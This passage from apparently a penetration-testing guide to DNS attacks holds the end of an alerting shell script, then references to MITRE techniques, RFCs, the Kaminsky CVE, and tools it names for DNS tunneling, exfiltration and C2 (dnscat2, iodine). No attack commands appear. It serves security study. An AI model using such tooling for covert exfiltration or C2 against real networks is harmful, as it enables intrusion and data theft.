mail -s "CRITICAL DNS Security Alert" security@company.com
fi
fi
fi
doneReferences
MITRE ATT&CK techniques
- T1071.004 - Application Layer Protocol: DNS - Command and control communication via DNS
- T1568 - Dynamic Resolution - DNS-based resolution of C2 infrastructure
- T1568.002 - Domain Generation Algorithms - Algorithmically generated domains for C2
- T1590.002 - Gather Victim Network Information: DNS - DNS reconnaissance and passive DNS collection
- T1557 - Adversary-in-the-Middle - DNS spoofing and cache poisoning attacks
- T1498.002 - Network Denial of Service: Reflection Amplification - DNS amplification DDoS attacks
RFCs and standards
- RFC 1034 - Domain Names: Concepts and Facilities - DNS protocol concepts
- RFC 1035 - Domain Names: Implementation and Specification - DNS protocol implementation
- RFC 4033-4035 - DNSSEC - DNS security extensions
- RFC 7873 - DNS Cookies - Lightweight transaction security
Security resources
- DNS Security Best Practices - NIST - DNSSEC deployment guidance
- OWASP - DNS Attacks - Common DNS attack vectors
- ISC BIND Security Advisories - BIND DNS server security updates
Vulnerabilities
- CVE-2008-1447 - Kaminsky DNS Cache Poisoning - Transaction ID prediction vulnerability
Tools documentation
- dnscat2 - DNS tunneling tool for data exfiltration and C2
- iodine - High-performance DNS tunneling
- Fierce - DNS reconnaissance and subdomain enumeration
Next steps
Network Protocol Attacks
Notes on attacking network protocols during penetration tests, covering SMB, FTP, SSH, RDP, DNS, SMTP, SQL databases and WebDAV.
FTP Service Attacks and Exploitation
Attacking FTP services on a penetration test, covering anonymous login, brute force, FTP bounce scanning and known backdoored and vulnerable server versions.